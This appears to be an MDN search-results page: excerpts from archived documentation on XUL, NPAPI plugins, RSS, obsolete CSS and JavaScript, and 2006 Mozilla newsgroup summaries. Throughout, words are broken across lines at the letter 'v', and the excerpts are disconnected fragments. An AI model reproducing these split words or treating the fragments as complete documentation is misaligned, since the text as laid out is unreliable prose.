...wcommentcolumn showpopup size sizemode sizetopopup smoothscroll sort sortactive sortdirection sortresource sortresource2 spellcheck src state statedatasource statusbar statustext style subject substate suppressonselect tabindex tabscrolling targets template timeout title toolbarname tooltip tooltiptext tooltiptextnew top type uri useraction validate value var
visuallyselected wait-cursor width windowtype wrap wraparound ...
command - Archive of obsolete content
command elements can be activated by any of their obser
ving elements being activated.
...
view read only windowproxy document.default
view (window of the document) detail read only long (float) unused; always zero.
Getting File Information - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | mo
ving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...two useful attributes filesize and lastmodifiedtime (nsifile.attributes) pro
vide a means of retrie
ving the size of a file and the time when the file was last changed.
Uploading and Downloading Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | mo
ving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...this operation can also be performed
via a script using the xmlhttprequest object.
Writing to Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading from files | writing to files | mo
ving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...however, there are three flags that can be used to control this beha
viour.
onFindAgainCommand - Archive of obsolete content
« xul reference home onfindagaincommand( findpre
vious ) return type: no return value call this method to handle your application's "find next" and "find pre
vious" commands.
... you should specify true as the input parameter to perform a "find pre
vious" operation, or false to perform a "find next." example typically, you'll simply bind this method to your "find next" and "find pre
vious" commands, like this: <command name="cmd_find_pre
vious" oncommand="gfindbar.onfindagaincommand(true);"/> <command name="cmd_find_next" oncommand="gfindbar.onfindagaincommand(false);"/> ...
appendNotification - Archive of obsolete content
valid values are "menu-button" and "menu" which must be set if the button is to pro
vide a popup
via the popup property.
... var window=components.classes["@mozilla.org/appshell/window-mediator;1"] .getser
vice(components.interfaces.nsiwindowmediator) .getmostrecentwindow("na
vigator:browser"); } if (typeof gbrowser === "undefined") { //if there is no gbrowser defined, get it var gbrowser = window.gbrowser; } function testnotificationbutton1callback(thenotification, buttoninfo, eventtarget) { window.alert("button 1 pressed"); ...
Methods - Archive of obsolete content
selection addpane addprogresslistener addsession addtab addtabsprogresslistener advance advanceselectedtab appendcustomtoolbar appendgroup appenditem appendnotification blur cancel canceldialog centerwindowonscreen checkadjacentelement clearresults clearselection click close collapsetoolbar contains decrease decreasepage docommand ensureelementis
visible ensureindexis
visible ensureselectedelementis
visible expandtoolbar extra1 extra2 focus getbrowseratindex getbrowserfordocument getbrowserfortab getbrowserindexfordocument getbutton getdefaultsession geteditor getelementsbyattribute getelementsbyattributens getformattedstring gethtmleditor getindexoffirst
visiblerow getindexofitem getitematindex getnext...
...item getnotificationbox getnotificationwithvalue getnumberof
visiblerows getpagebyid getpre
viousitem getresultat getresultcount getresultvalueat getrowcount getsearchat getselecteditem getsession getsessionbyname getsessionresultat getsessionstatusat getsessionvalueat getstring goback gobackgroup godown goforward goforwardgroup gohome goto gotoindex goup hidepopup increase increasepage insertitem insertitemat invertselection loadgroup loadonetab loadtabs loaduri loaduriwithflags makeeditable movebyoffset moveto movetoalertposition onsearchcomplete ontextentered ontextreverted openpopup openpopupatscreen opensubdialog openwindow preferenceforelement reload reloadalltabs reloadtab reloadwit...
Extensions - Archive of obsolete content
instead of ha
ving separate context menus depending on what type of element was the target of the context menu, only one context menu is used and items that don't apply to that type of element are hidden from the menu as needed.
... <popup id="contentareacontextmenu"> <menuitem id="thumbnail-show" label="
view thumbnail" oncommand="thumbnails.
view();"/> </popup> note that the popup element is used rather than the menupopup element as this is the element that firefox uses.
MenuModification - Archive of obsolete content
remo
ving items from a menu to remove an item from the menu, use the removeitemat method.
... to remove all of the items from a menu, you may wish to simply remove the menupopup directly, instead of remo
ving each item indi
vidually.
pageStep - Archive of obsolete content
« xul reference pagestep type: integer this property returns the number of pages that the user has na
vigated through so far, meaning that the user would press the back button this many times to go back to the beginning.
... this property is different than pageindex, because pages are not necessarily na
vigated in order.
Accesskey display rules - Archive of obsolete content
then, you should pro
vide a way for specifying accesskeys which are independent from their labels.
...for this issue, we recommend the following format if you use .properties: <command-name>.label=cancel <command-name>.accesskey=c note that apis of nsipromptser
vice are using the bad way.
Numeric Controls - Archive of obsolete content
« pre
viousnext » xul has two elements used for the entry of numeric values or ranges, and well as two elements for entering dates and times.
...<datepicker type="popup"/> « pre
viousnext » ...
Using spell checking in XUL - Archive of obsolete content
versions of firefox have different contract ids var spellclass = "@mozilla.org/spellchecker/myspell;1"; if ("@mozilla.org/spellchecker/hunspell;1" in components.classes) spellclass = "@mozilla.org/spellchecker/hunspell;1"; if ("@mozilla.org/spellchecker/engine;1" in components.classes) spellclass = "@mozilla.org/spellchecker/engine;1"; gspellcheckengine = components.classes[spellclass].getser
vice(components.interfaces.mozispellcheckingengine); gspellcheckengine.dictionary = 'en-us'; if (gspellcheckengine.check("kat")) { // it's spelled correctly } else { // it's spelled incorrectly but check if the user has added "kat" as a correct word..
... var mpersonaldictionary = components.classes["@mozilla.org/spellchecker/personaldictionary;1"] .getser
vice(components.interfaces.mozipersonaldictionary); if (mpersonaldictionary.check("kat", gspellcheckengine.dictionary)) { // it's spelled correctly accourdly to user personal dictionary } else { // it's spelled incorrectly } } getting a list of suggestions to get a list of suggestions for a misspelled word, you call the suggest() method, specifying the word and an object to be filled with an array of possible suggestions.
XUL Accesskey FAQ and Policies - Archive of obsolete content
for example, in the manage bookmarks dialog, don't use f, e, v, t or h (file, edit,
view, tasks, help).
...file bugs under the keyboard na
vigation component, and make meta bug 129179 dependent on them.
XULBrowserWindow - Archive of obsolete content
the xulbrowserwindow object pro
vides methods and properties that let the browser update the user interface of the enclosing xul window.
... method over
view boolean hidechromeforlocation(in string alocation); attributes attribute type description incontentwhitelist string[] an array of url strings for which chrome is automatically hidden.
XUL Coding Style Guidelines - Archive of obsolete content
case sensiti
vity.
...they are placed above the actual entity string in the format: <!-- localization note (entity.name): content --> where the <var>entity.name</var> is the entity name (id) for the string (entity value) to be localized, and the content pro
vides helpful hints to the localizers.
autohide - Archive of obsolete content
« xul reference home autohide type: boolean when set to true, the toolbar will be in
visible unless the alt key is pressed by the user.
... when set to false, the default, the toolbar is
visible.
checkbox - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...e(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessiblepro
vider, nsidomxulcheckboxelement ...
colorpicker - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
... over
view an onchange attribute is an event listener to the object for the event change.
content - Archive of obsolete content
Ésto se utiliza para
vincular una variable a un nodo de contenido cuando se emparejan.
...this attribute is useful to pro
vide different rules for outer and inner elements.
key - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...this text would appear next to a menuitem label if that menuitem is associated with the key element
via its key attribute.
observes - Archive of obsolete content
attributes attribute, element examples (example needed) attributes attribute type: attribute name the attribute that the observer is obser
ving.
... element type: id the id of the broadcaster element that the observer is obser
ving.
preference - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
... over
view an onchange attribute is an event listener to the object for the event change.
preferences - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] over
view <preferences> is a container for <preference> elements.
...</preferences> attributes these ought to be readonly; three of these could be merged into a single member attribute nsiprefser
vice ser
vice; the preferences ser
vice.
progressmeter - Archive of obsolete content
for textbox and user editable menulist elements, the contents, as
visible to the user, are read and set using the textbox.value and menulist.value syntax.
...e(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessiblepro
vider ...
splitter - Archive of obsolete content
collapsed the content either before or after the splitter is collapsed and is not
visible.
...the splitter will be drawn with no width so that it isn't
visible, however, the columns may still be resized.
statusbar - Archive of obsolete content
it is
virtually equivalent to a standard box, but may be rendered differently.
...qualnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements statusbarpanel interfaces nsiaccessiblepro
vider ...
toolbox - Archive of obsolete content
the external toolbars associated with a toolbox are listed in the array of elements pro
vided by the toolbox's externaltoolbars property.
... related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring interfaces nsiaccessiblepro
vider ...
XULRunner FAQ - Archive of obsolete content
this is a developer pre
view release: additional features for installing and deploying xulrunner and applications based on xulrunner will be available in future releases.
... if you want to help with xulrunner but don't know where to start,
visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
Getting started with XULRunner - Archive of obsolete content
note: in xulrunner 2.0, the chrome.manifest is now used to register xpcom components in addition to its pre
vious uses.
...xul is simple to use and quite powerful and can even be used on mobile de
vices.</description> </window> note: make sure there is no extra whitespace at the beginning of the xml/xul file the application also has a javascript file.
Mozprofile - Archive of obsolete content
installing addons addons may be installed indi
vidually or from a manifest.
...zrunner profile = firefoxprofile(addons=["adblock.xpi"]) setting preferences preferences can be set in several ways: using the api: you can pass preferences in to the profile class's constructor: obj = firefoxprofile(preferences=[("accessibility.typeaheadfind.flashbar", 0)]) using a json blob file: mozprofile --preferences myprefs.json using a .ini file: mozprofile --preferences myprefs.ini
via the command line: mozprofile --pref key:value --pref key:value [...] when setting preferences from an .ini file or the --pref switch, the value will be interpolated as an integer or a boolean (true/false) if possible.
reftest opportunities files - Archive of obsolete content
if you can look at the html in one of these pages, and can see a way to get the same
visual ouptut, then that is an ob
vious reftest opportunity.
...if you create a reftest for any of these bugs please attach the reftest to the bug and ask for re
view from the assignee (or anyone else that seems appropriate judging from comments in the bug).
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
can't
view keith olbermann
videos a user inability to launch
videos, worked fine for others, ended up being a flash version problem.
... firefox 2 on windows
vista discussion about the "state of affairs" of firefox 2 on windows
vista rc1 - update for rc1 listed in update history as 'install pending' right-click "copy email address" - bug 353102 a proposed bug fix to the 'copy email address' bug how to use the rss feeds discovery & parsing tool in another open source project?
2006-11-22 - Archive of obsolete content
to join, send a blank email with subscribe in the subject field to: nvda...@freelists.org (click here to
view the original post and unmask the e-mail address) michael would like to thank stormdragon for setting this up.
...the bug has a very old patch which will no longer be easy to apply but may pro
vide clues as to where they are going wrong.
2006-09-29 - Archive of obsolete content
can't
view keith olbermann
videos a user inability to launch
videos, worked fine for others, ended up being a flash version problem.
... firefox 2 on windows
vista discussion about the "state of affairs" of firefox 2 on windows
vista rc1 - update for rc1 listed in update history as 'install pending' right-click "copy email address" - bug 353102 a proposed bug fix to the 'copy email address' bug how to use the rss feeds discovery & parsing tool in another open source project?
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 6, 2006 - october 13, 2006 announcements firefox
vista compatible and versioning heads up robert strong describes the compatibility between windows
vista and firefox, also about the versioning change.
... user questions about a open/saveas bug that already exisits: https://bugzilla.mozilla.org/show_bug.cgi?id=347230 installer for 2.0rc2 ehume gives the developers a thumbs up for the new installer for 2.0rc2 ha
ving a textfield where you can type in the installation directory.
2006-10-06 - Archive of obsolete content
q & a q: walt experienced an unusual beha
viour in his build and wanted to perform an experiment to figure out the problem, but he couldn't find the mozilla.org's config file.
... da
vid bienvenu suggests a top down architectural description of tb's data structures along with documentation about extracting them.
2006-10-20 - Archive of obsolete content
there is a link pro
vided might solve the stated problem.
... however, detail info of the problem is not clear, no futher suggestion or solution is pro
vided thus far.
2006-11-10 - Archive of obsolete content
discussions
violation of smtp protocol in thunderbird hector reports two bugs: thunderbird ignores the smtp protocol state machine by ignoring the 501 response codes.
...guenter has pro
vided some sample code using the 'mailto:' method.
2006-11-10 - Archive of obsolete content
build problem firefox 2.0 on fc3 november 10th:
vin downloaded the latest firefox 2 rc3 and tried to build it on fc3 with the following options: ./configure --enable-application=browser --prefix=$prefix --enable-extensions=default,spatialna
vigation then he tried running "make" and received the following error: /usr/bin/ld: testtarray.o(.text+0x2237): unresolvable relocation against symbol `nstarray_base::semptyhdr' /usr/bin/ld: final link ...
...failed: nonrepresentable section on output collect2: ld returned 1 exit status gmake[3]: *** [testtarray] error 1 gmake[3]: lea
ving directory `/usr/mozilla2/src/mozilla/xpcom/tests' gmake[2]: *** [libs] error 2 gmake[2]: lea
ving directory `/usr/mozilla2/src/mozilla/xpcom' gmake[1]: *** [tier_2] error 2 gmake[1]: lea
ving directory `/usr/mozilla2/src/mozilla' make: *** [default] error 2 he is not sure what is wrong with his build, and is asking for help on how to resolve the build error.
2006-11-10 - Archive of obsolete content
lat
vian pellcheck dictionary for ff2.0 newest openoffice dictionary files for ff 2.0 spell-checker is available.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(
vipers101) ...
2006-12-01 - Archive of obsolete content
discussions convert ooo .dic to .xpi convert ooo .dic to .xpi mozillatranslator and sourceforge.net about the best way to organize things creating a <locale>.jar file from the cvs structure discussion on how to package a <locale>.jar from the cvs structure without ha
ving to download the entire mozilla source.
... authors paul yanchun gu (gpaul) aditya nanda kuswanto(
vipers101) ...
2006-10-06 - Archive of obsolete content
also in
vites people to file bugs about extensions that don't work.
... also in
vites people to help extension developers test for compatibility (link to a bunch of extension compatability bugs) discussions reining in the release process a discussion of what can be done to speed up the release process.
2006-11-03 - Archive of obsolete content
alex
vinten and neil help him out by figuring out exactly which en
vironment he's running in.
...robert sayre notes that he and dave liebreich have a nice, simple en
vironment set up for browser-based js tests meetings no meetings this week ...
2006-11-17 - Archive of obsolete content
alex
vincent ran into some difficulty with xulrunner extension manager not recognizing xulwidgets for verbosio?
...boaz in
vites your comments xulrunner 1.8.0.4 is running a kiosk-type application on linux with 512mb, and there is the appearance of a significant memory leak.
2006-12-01 - Archive of obsolete content
discussions protocol security daniele rizzo posted a question as to whether or not it is possible to enable/disable the pri
vilege of universalxpconnect in a 'entire' protocol (http://, file://).
... problem with downloading signed script components in a firefox extension andrew groom is ha
ving problems getting an extension to download a signed script and would appreciates some help with his problem.
2006-11-17 - Archive of obsolete content
site not loading with seamonkey a user built seamonkey in debug mode and is currently recei
ving a "bad request" error on some websites.
...da
vid baron would like users to test the reflow branch as it is coming close to being merged with the trunk.
2006-11-17 - Archive of obsolete content
discussions itip and imip new designs for sending in
vitations available for comment discussion about the new interface designs for itip.
...
view performance discussion about tests on
view performance.
Logging Multi-Process Plugins - Archive of obsolete content
run firefox in a custom en
vironment to enable this special logging mode.
...your safest bet is your home directory (c:\users\username on windows
vista and above, c:\documents and settings\username on windows xp, and ~ (home directory) on mac os x and linux).
Browser-side plug-in API - Archive of obsolete content
this chapter describes methods in the plug-in api that are pro
vided by the browser; these allow call back to the browser to request information, tell the browser to repaint part of the window, and so forth.
...for an over
view of how these two sides of the plug-in api interact, see the how plug-ins work and over
view of plug-in structure sections in the introduction.
NPClass - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary npclass is a structure that holds a set of pointers to functions that make up the beha
vior of an instance of an npclass (i.e.
...any attempt to use an invalidated object will result in undefined beha
vior.
NPN_CreateObject - Archive of obsolete content
description if the given npclass pro
vides an allocate function it is used to allocate the storage for the object and the npp argument passed to npn_createobject() is passed along to that function.
... if no allocate function is pro
vided, malloc() is called to allocate enough memory to hold an npobject.
NPN_SetValue - Archive of obsolete content
in windowless mode all the browser to plugin communications related to drawing, mouse, and keyboard input are accomplished
via npp_handleevent.
...normally, when the browser na
vigates away from the page containing the plugin, all plugin instances get an npp_destroy call, and if there are no more instances of the plugin active, the plugin calls its np_shutdown method and the plugin dll gets unloaded from memory.
NPObject - Archive of obsolete content
to aid with the reference counting and ownership management in general, the functions npn_createobject(), npn_retainobject(), npn_releaseobject(), and npn_releasevariantvalue() are pro
vided as part of this api.
... npobject beha
vior is implemented using the set of callback functions defined in npclass.
NPP_New - Archive of obsolete content
saved pointer to data saved by npp_destroy for a pre
vious instance of this plug-in at the same url.
... if instance data was saved from a pre
vious instance of the plug-in by the npp_destroy function, it is returned in the saved parameter for the current instance to use.
NPP_SetWindow - Archive of obsolete content
before setting the window parameter to point to a new window, it is a good idea to compare the information about the new window to the pre
vious window (if one existed) to account for any changes.
... for windowless plugins, npp_setwindow is called with a cliprect of 0,0,0,0 to signal that the plugin is not
visible.
NPP_URLNotify - Archive of obsolete content
notifydata plug-in-private value for associating a pre
vious npn_geturlnotify() or npn_posturlnotify() request with a subsequent npp_urlnotify() call.
... the parameter notifydata is the plug-in-private value passed as an argument by a pre
vious npn_geturlnotify() or npn_posturlnotify() call, and can be used as an identifier for the request.
NPVariant - Archive of obsolete content
javascript type to npvarianttype enumeration mapping when using npvariants to access javascript objects in the browser, or
vise versa, the mapping of javascript values to npvariants is as follows: javascript type npvarianttype undefined npvarianttype_void null npvarianttype_null boolean npvarianttype_bool number npvarianttype_int32 or npvarianttype_double string npvarianttype_string ...
... functions npn_releasevariantvalue() npn_getstringidentifier() npn_getstringidentifiers() npn_getintidentifier() npn_identifierisstring() npn_utf8fromidentifier() npn_intfromidentifier() macros plugin developers are not expected to directly manipulate or access the members of the npvariant instance, instead, the function npn_releasevariantvalue(), and the following macros are pro
vided: npvariant_is_void() evaluates to true if v is of type npvarianttype_void.
NP_Initialize - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary pro
vides global initialization for a plug-in.
...np_initialize tells the plug-in that the browser has loaded it and pro
vides global initialization.
XEmbed Extension for Mozilla Plugins - Archive of obsolete content
over
view recent versions of mozilla include an extension for writing plugins that use xembed instead of using the old xt-based mainloop that most plugins have been using since the netscape 3.x days.
...also, when included with builds of mozilla that are based on gtk 1.2 or gtk 2.x, the xt code that hosts the plugins is at best hacky and has been the source for many minor problems including inconsistent focus beha
vior as well as occasional crashes.
Entity list - Archive of obsolete content
this page pro
vides a list of the entities supported by various versions of rss.
...there is netscape's rss 0.91 (re
vision 1) (n 0.91 r1), netscape's rss 0.91 re
vision 3 (n 0.91 r3) and userland's rss 0.91 (u 0.91).
Why use RSS - Archive of obsolete content
there are, in fact, many reasons to use rss, but the two biggest reasons can be broadly dictated by: #1 (ob
viously only use it if) it fits your needs and #2 it has a huge amount of momentum -- everyone is using it.
...people are using it to syndicate all sorts of things: news articles, blogs, bookmarks, internet radio shows, internet tele
vision shows, software updates, e-mails, mailing lists, music playlists, and more.
Proposal - Archive of obsolete content
draft exists source guid when an rss item is posted in response to a pre
vious item (called the source item) rss 2.0 offers the source element which allows the item to refer to the rss feed which contains the source item.
... the sguid specification pro
vides a more granular approach by offering an sourceref element which can reference the guid permalink of the source.
SAX - Archive of obsolete content
sax was the first widely adopted api for xml in java, and later implemented in several other programming language en
vironments.
...unction(prefix) { // don't care }, // nsisupports queryinterface: function(iid) { if(!iid.equals(components.interfaces.nsisupports) && !iid.equals(components.interfaces.nsisaxcontenthandler)) throw components.results.ns_error_no_interface; return this; } }; start parsing the xml reader component can parse xml from a string, an nsiinputstream, or asynchronously
via the nsistreamlistener interface.
SSL and TLS - Archive of obsolete content
symmetric-key encryption is much faster than public-key encryption, but public-key encryption pro
vides better authentication techniques.
... note: longer rsa keys are required to pro
vide security as computing capabilities increase.
Theme changes in Firefox 3 - Archive of obsolete content
also, the
visibility of the indicator is now controlled by setting collapsed in tabbrowser.xml.
...the rule that's needed to show and hide the go button and other location bar icons is: #urlbar[pageproxystate="invalid"] > #urlbar-icons > :not(#go-button) , #urlbar[pageproxystate="valid"] > #urlbar-icons > #go-button {
visibility: collapse; } images to add add the following images: chrome://global/skin/icons/information-16.png used when presenting information notices.
Settings - Archive of obsolete content
this is usually the beha
vior you want.
... show panes on startup when this option is enabled, the debugger's variables pane is
visible when you first start the debugger.
Using IO Timeout And Interrupt On NT - Archive of obsolete content
these two errors are generated by the nspr layer, so the os is obli
vious of what is going on and the overlapped io request is still in progress.
...the win95 version runs without trouble on nt, but you would lose the better performance pro
vided by nt fibers and asynchronous io.
References - Archive of obsolete content
<- pre
vious section: summary of changes you can learn more on using web standards from these sites (listed in no particular order): what are web standards and why should i use them?
... <- pre
vious section: summary of changes ...
-ms-accelerator - Archive of obsolete content
when the option to "hide keyboard na
vigation indicators until i use the alt key" is enabled in the user's display properties, the "n" is not underlined until the user presses the alt key.
...it enables users to hide na
vigation indicators for menu items and controls until the alt key is pressed.
-ms-filter - Archive of obsolete content
img id="imagefrom" style="position: absolute; top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; left: 20px; background: white;
visibility: hidden;"> </div> </div> <script type="text/javascript"> let filterimg = document.queryselector('#filterfrom'); filterimg.addeventlistener('click', dofilter); function dofilter () { filterfrom.filters.item(0).apply(); // 12 is the dissolve filter.
... filterfrom.filters.item(0).transition=12; imagefrom.style.
visibility = "hidden"; filterto.style.
visibility = ""; filterfrom.filters.item(0).play(14); } </script> </body> gradient progid:dximagetransform.microsoft.gradient( <properties> ) where <properties> = [ <enabled> | <endcolor> | <endcolorstr> | <gradienttype> | <startcolor> | <startcolorstr> ]# where <enabled> = 'enabled=' [ true | false ] <endcolor> = 'startcolor=' <color> <endcolorstr> = 'startcolorstr=' <color> <gradienttype> = 'gradienttype=' <integer> <startcolor> = 'startcolor=' <color> <startcolorstr> = 'startcolorstr=' <color> enabled default: true set to false to disable.
-ms-overflow-style - Archive of obsolete content
the -ms-overflow-style css property is a microsoft extension controlling the beha
vior of scrollbars when the content of an element overflows.
...when they are
visible, auto-hiding scrollbars overlap the element's content.
::-ms-fill - Archive of obsolete content
an indeterminate progress bar can be selected with the :indeterminate pseudo-class.) by default, internet explorer and edge display a mo
ving dots animation for an indeterminate progress bar.
...ckground-color, background-image, background-origin, background-repeat, and background-size border border-radius box-shadow box-sizing color cursor display (values block, inline-block, none) font height margin -ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust opacity outline-color, outline-style, and outline-width padding transform and transform-origin
visibility syntax ::-ms-fill example html <progress value="10" max="50"></progress> css progress::-ms-fill { background-color: orange; } result a progress bar using this style might look something like this: ...
-moz-touch-enabled - Archive of obsolete content
syntax <integer> if the de
vice supports touch events (for a touch screen), this is 1.
... media: media/
visual accepts min/max prefixes: no example you might use this feature to render your buttons slightly larger if the user is on a touch-screen de
vice, to make them more finger-friendly.
-moz-windows-default-theme - Archive of obsolete content
syntax <integer> if the user is using one of the default windows themes—luna, royale, zune, or aero (including
vista basic,
vista advanced, and aero glass)—this is 1.
... media: media/
visual accepts min/max prefixes: no ...
azimuth - Archive of obsolete content
this is important in that it pro
vides a natural way to tell several voices apart, as each can be positioned to originate at a different location on the sound stage.
... examples h1 { azimuth: 30deg; } td.a { azimuth: far-right; } /* 60deg */ #12 { azimuth: behind far-right; } /* 120deg */ p.comment { azimuth: behind; } /* 180deg */ specifications specification status comment css level 2 (re
vision 1)the definition of 'azimuth' in that specification.
E4X - Archive of obsolete content
it does this by pro
viding access to the xml document in a form that feels natural for ecmascript programmers.
... the goal is to pro
vide an alternative, simpler syntax for accessing xml documents than
via dom interfaces.
ArrayBuffer.transfer() - Archive of obsolete content
this avoids ha
ving to drop all references and wait for garbage collection.
... if (!arraybuffer.transfer) { arraybuffer.transfer = function(source, length) { if (!(source instanceof arraybuffer)) throw new typeerror('source must be an instance of arraybuffer'); if (length <= source.bytelength) return source.slice(0, length); var source
view = new uint8array(source), dest
view = new uint8array(new arraybuffer(length)); dest
view.set(source
view); return dest
view.buffer; }; } specifications specification status comment arraybuffer.prototype.transfer proposal draft stage 2 draft ...
Date.prototype.toLocaleFormat() - Archive of obsolete content
description the tolocaleformat() method pro
vides greater software control over the formatting of the generated date and/or time.
... also note that the beha
vior of the used locale depends on the platform, and the user might customize the locale used, so using the system locale the choose the format string might in some cases not even be adequate.
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
plemented; in other browsers) regexp unicode property escapes (not yet implemented; in other browsers) regexp named capture groups (not yet implemented; in other browsers) ecmascript 2019 array.flat() (firefox 62) array.flatmap() (firefox 62) object.fromentries() (firefox 63) string.trimstart() and string.trimend() (firefox 61) optional catch binding (firefox 58) function.tostring() re
vision (firefox 54) symbol.description (firefox 63) well-formed json.stringify() (firefox 64) ecmascript 2020 this is the current es.next version.
... additions to the arraybuffer object arraybuffer.transfer() (spec) new typedobject objects based on typed objects draft, and exposed
via a global typedobject object, e.g.
Expression closures - Archive of obsolete content
description this addition is nothing more than a shorthand for writing simple functions, gi
ving the language something similar to a typical lambda notation.
...there is no added benefit to writing code in this manner, other than ha
ving it be syntactically shorter.
Generator comprehensions - Archive of obsolete content
var numbers = [1, 2, 3]; // generator function (function*() { for (let i of numbers) { if (i < 3) { yield i * 1; } } })(); // generator comprehension (for (i of numbers) if (i < 3) i); // result: both return a generator which yields [1, 2] specifications generator comprehensions were initially in the ecmascript 2015 draft, but got removed in re
vision 27 (august 2014).
... please see older re
visions of es2015 for specification semantics.
GetObject - Archive of obsolete content
the class argument uses the syntax appname.objectype and has these parts: appname name of the application pro
viding the object.
...you could use the following code to activate a layer within a drawing called schema.cad: var layerobject = getobject("c:\\cad\\schema.cad!layer3"); if you do not specify the object's class, automation determines which application to start and which object to activate, based on the file name you pro
vide.
VBArray.getItem - Archive of obsolete content
the first part is vbscript code to create a
visual basic safe array.
... the second part is javascript code that iterates the
visual basic safe array and prints out the contents of each element.
VBArray.lbound - Archive of obsolete content
the first part is vbscript code to create a
visual basic safe array.
...since the safe array is created in vbscript rather than
visual basic, the lower bound will always be zero.
Object.prototype.unwatch() - Archive of obsolete content
description the javascript debugger has functionality similar to that pro
vided by this method, as well as other debugging options.
... note: the reason for unwatch() to take the property name prop as its only parameter is due to the "single handler allowing" beha
vior of the watch() method.
Object.prototype.watch() - Archive of obsolete content
the javascript debugger has functionality similar to that pro
vided by this method, as well as other debugging options.
... note: calling watch() on an object for a specific property overrides any pre
vious handler attached for that property.
handler.enumerate() - Archive of obsolete content
interceptions this trap can intercept these operations: property enumeration / for...in: for (var name in proxy) {...} reflect.enumerate() invariants if the following invariants are
violated, the proxy will throw a typeerror: the enumerate method must return an object.
... var p = new proxy({}, { enumerate(target) { console.log('called'); return ['a', 'b', 'c'][symbol.iterator](); } }); for (var x in p) { // "called" console.log(x); // "a" } // "b" // "c" the following code
violates the invariant.
JavaClass - Archive of obsolete content
the liveconnect java, sun, and netscape objects pro
vide shortcuts for commonly used java packages and also create javaclass objects.
... x = java.awt.font; myfont = x("helv", x.bold, 10); // creates a font object the pre
vious example omits the packages keyword and uses the java synonym because the font class is in the java package.
MSX Emulator (jsMSX) - Archive of obsolete content
it emulates the underlying z80 cpu, tms9918
video display processor (vdp), ppi, ram slots, and megaram.
...external links
view the online demo (requires firefox 2+) jsmsx project see also drawing graphics with canvas canvas tutorial jsc64 the 100% javascript / canvas commodore 64 emulator ...
Standards-Compliant Authoring Tools - Archive of obsolete content
html-kit is a full-featured, low priced editor designed to help html, xhtml and xml authors to edit, format, lookup help, validate, pre
view and publish web pages.
... macromedia™ dreamweaver™ cs6 style master and layout master by western ci
vilisation some caveats: it appears that tools currently available from namo generate ie-specific or netscape 4-specific code that may require extra debugging for compatibility with standards-based browsers.
Requests For Enhancement - Archive of obsolete content
now we need to start teaching xforms to web newcomers before they are brainwashed into belie
ving that the only way to build cool web apps is to do dom surgery with javascript!
...if pre
viously you was forced to use ajax for this then now xforms makes this for you automatically.
Fixing Incorrectly Sized List Item Markers - Archive of obsolete content
this is most ob
vious in ordered lists, where the number that precedes each list item may be ob
viously different than the content that follows it.
...meyer, netscape communications last updated date: published 04 oct 2002; re
vised 07 mar 2003 copyright information: copyright © 2001-2003 netscape.
RDF in Fifty Words or Less - Archive of obsolete content
the rdf graph pro
vides a perfect data model upon which to build a "universal" bookmarking ser
vice as described above: the graph can contain pointers to arbitrary resources and can group them in just about any way that you can imagine.
...fundamentally, it means that parts of the rdf data model can be communicated across network boundaries, and the contents of the graph can dynamically change as information arrives from a remote ser
vice.
2D collision detection - Game development
this article pro
vides a re
view of the most common techniques used to pro
vide collision detection in 2d games.
... narrow phase when you have a small list of entities to check you will want to use a narrow phase algorithm (like the ones listed above) to pro
vide a certain answer as to whether there is a collision or not.
Crisp pixel art look with image-rendering - Game development
this article discusses a useful technique for gi
ving your canvas/webgl games a crisp pixel art look, even on high definition monitors.
... original size 4x size 4x size (scaled with an image editor) none vendor's algorithm nearest-neighbor algorithm a css-based solution the good news is that you can use css to automatically do the up-scaling, which not only solves the blur problem, but also allows you to use the images in their original, smaller size, thus sa
ving download time.
asm.js - Game development
asm.js has a very predictable perfomance rate because it is limited to an extremely restricted subset of javascript that pro
vides only strictly-typed integers, floats, arithmetic, function calls, and heap accesses.
... since asm.js runs in a browser it depends hea
vily on the browser and the hardware.
Buttons - Game development
« pre
viousnext » this is the 15th step out of 16 of the gamedev phaser tutorial.
... « pre
viousnext » ...
2D breakout game using Phaser - Game development
